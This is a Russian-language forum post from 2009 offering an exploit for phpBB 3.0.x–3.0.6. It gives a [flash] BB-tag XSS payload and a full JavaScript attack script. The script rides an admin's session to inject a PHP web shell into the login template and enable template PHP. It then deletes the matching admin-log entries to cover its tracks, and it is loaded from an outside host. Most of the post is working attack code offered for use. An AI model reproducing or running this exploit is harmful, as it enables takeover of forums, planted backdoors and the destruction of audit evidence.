|
Познающий
Регистрация: 22.02.2006
Сообщений: 67
С нами:
10638498
Репутация:
2033
|
|
Активный межсайтовый скриптинг и автозагрузка шелла в phpBB 3.0.x-3.0.6
1. Активный межсайтовый скриптинг phpBB 3.0.x-3.0.6.
BB-тег [flash] неотфильтрован чуть менее, чем полностью.
[flash=1,1]javascript:confirm(/lo/);//lo[/flash]
По умолчанию данный тег недоступен для зарегистрированных пользователей, но его можно разрешить для использования в личных сообщениях.
Работоспособность : Opera & Safari
Но есть ли там ещё XSS? O, да!
2. Автозагрузка шелла/ бэкдора и т.д. через XSS.
Для работы скрипта требуется, чтобы администратор был авторизован в админ. панеле.
Эксплойт реализует метод, описанный здесь: https://forum.antichat.ru/showpost.php?p=1176333&postcount=36:
* Скрипт не станет повторно добавлять php-код, если он уже имеется в шаблоне.
* В логе администратора удаляются записи только о произведенных действиях.
Шелл будет доступен по адресу: http://vulnsite.xz/forum/ucp.php?mode=login&lo=test
Также рекомендуется ознакомиться с этим https://forum.antichat.ru/showpost.php?p=1231741&postcount=37
Эксплойт:
Код:
/*/ phpBB 3.0.x-3.0.6 shell-inj.
/// Example:
javascript:with(document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src='http://yoursite.xz/shell-inj.js';void(0);
/// LeverOne. 12.2009
/*/
phpcode = '<!-- PHP --> if($_GET[lo]) echo($_GET[lo]); <!-- ENDPHP -->';
template_file = 'login_body.html';
// выделение базового url (директория админки и сессия) из главной страницы
get_base_url(location.pathname.substring(0, location.pathname.lastIndexOf('/') + 1)+'#');
function get_base_url(url) {
requester('GET', url, null,
function() {
if (r.readyState == 4) {
base_url = r.responseText.match(/\.\/.+?\?sid=.{32}/);
if (base_url != null)
get_default_style(base_url);
}
}
);
}
// получение названия стиля по умолчанию
function get_default_style(base_url) {
requester('GET', base_url + '&i=styles&mode=style', null,
function() {
if (r.readyState == 4) {
default_style = r.responseText.match(/<strong>(.+?)<\/strong> \*/)[1];
get_templ_id(default_style, base_url);
}
}
);
}
// получение id шаблона по умолчанию
function get_templ_id(default_style, base_url) {
requester('GET', base_url + '&i=styles&mode=template', null,
function() {
if (r.readyState == 4) {
expr = new RegExp(default_style + '[\\w\\W]+?(id=\\d+)"', 'm');
templ_id = r.responseText.match(expr)[1];
to_edit_templ(templ_id, base_url);
}
}
);
}
// на пути к редактированию шаблона...
function to_edit_templ(templ_id, base_url) {
requester('GET', base_url + '&i=styles&mode=template&action=edit&' + templ_id, null,
function() {
if (r.readyState == 4) {
creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
postdata = 'template_file=' + template_file + '&creation_time=' + creation_time + '&form_token=' + form_token;
edit_templ(templ_id, base_url, postdata);
}
}
);
}
// редактирование шаблона
function edit_templ(templ_id, base_url, postdata) {
requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata,
function() {
if (r.readyState == 4) {
template_data = r.responseText.match(/rows="20">([\w\W]+)<\/textarea/mi)[1];
template_data = template_data.replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"').replace(/&/g, '&');
if (template_data.indexOf(phpcode) == -1) {
template_data = encodeURIComponent(template_data + phpcode);
creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
postdata = 'template_data=' + template_data + '&template_file=' + template_file +'&creation_time=' + creation_time + '&form_token=' + form_token + '&save=1';
setTimeout("send_edit_templ(templ_id, base_url, '" + postdata + "')", 1000);
}
}
}
);
}
// отправка редактированного шаблона
function send_edit_templ(templ_id, base_url, postdata) {
requester('POST', base_url + '&i=styles&mode=template&action=edit&' + templ_id + '&text_rows=20', postdata,
function() {
if (r.readyState == 4) {
to_allow_php(base_url);
}
}
);
}
// переход на страницу настроек безопасности
function to_allow_php(base_url) {
requester('GET', base_url + '&i=board&mode=security', null,
function() {
if (r.readyState == 4) {
creation_time = r.responseText.match(/creation_time" value="(\d+)/i)[1];
form_token = r.responseText.match(/form_token" value="(.+?)"/i)[1];
postdata = 'config%5Btpl_allow_php%5D=1&submit=1&creation_time=' + creation_time + '&form_token=' + form_token;
setTimeout("allow_php(base_url, '" + postdata + "')", 1000);
}
}
);
}
// разрешение php в настройках
function allow_php(base_url, postdata) {
requester('POST', base_url + '&i=board&mode=security', postdata,
function() {
if (r.readyState == 4) {
to_delete_log(base_url);
}
}
);
}
// на пути к удалению логов...
function to_delete_log(base_url) {
requester('GET', base_url + '&i=logs&mode=admin', null,
function() {
if (r.readyState == 4) {
log_num = r.responseText.match(/mark\[\]" value="(\d+)/g);
postdata = 'mark%5B%5D='+ log_num[0].substring(15) + '&mark%5B%5D=' + log_num[1].substring(15) + '&mark%5B%5D=' + log_num[2].substring(15) + '&delmarked=1';
delete_log(base_url, postdata);
}
}
);
}
// удаление логов
function delete_log(base_url, postdata) {
requester('POST', base_url + '&i=logs&mode=admin', postdata,
function() {
if (r.readyState == 4) {
confirm_uid = r.responseText.match(/confirm_uid" value="(\d+)/i)[1];
sess = r.responseText.match(/sess" value="(.+?)"/i)[1];
sid = r.responseText.match(/sid" value="(.+?)"/i)[1];
confirm = r.responseText.match(/confirm" value="(.+?)"/i)[1];
postdata = postdata + '&confirm_uid=' + confirm_uid + '&sess=' + sess + '&sid=' + sid + '&confirm=' + encodeURIComponent(confirm);
confirm_key = r.responseText.match(/confirm_key=(.+?)"/i)[1];
confirm_delete_log(base_url, postdata, confirm_key);
}
}
);
}
// подтверждение удаления логов
function confirm_delete_log(base_url, postdata, confirm_key) {
requester('POST', base_url + '&i=logs&mode=admin&confirm_key='+ confirm_key, postdata, null
);
}
// универсальная функция запроса
function requester(method, url, postdata, func) {
try {r = new XMLHttpRequest()} catch(err) {r = new ActiveXObject('Msxml2.XMLHTTP')}
r.open(method, url + '&r=' + Math.ceil(1000*Math.random()));
if (method == 'POST') r.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
r.onreadystatechange = func;
r.send(postdata);
}
Как вы понимаете, он сработает с любой XSS.
Последний раз редактировалось LeverOne; 26.12.2009 в 20:18..
|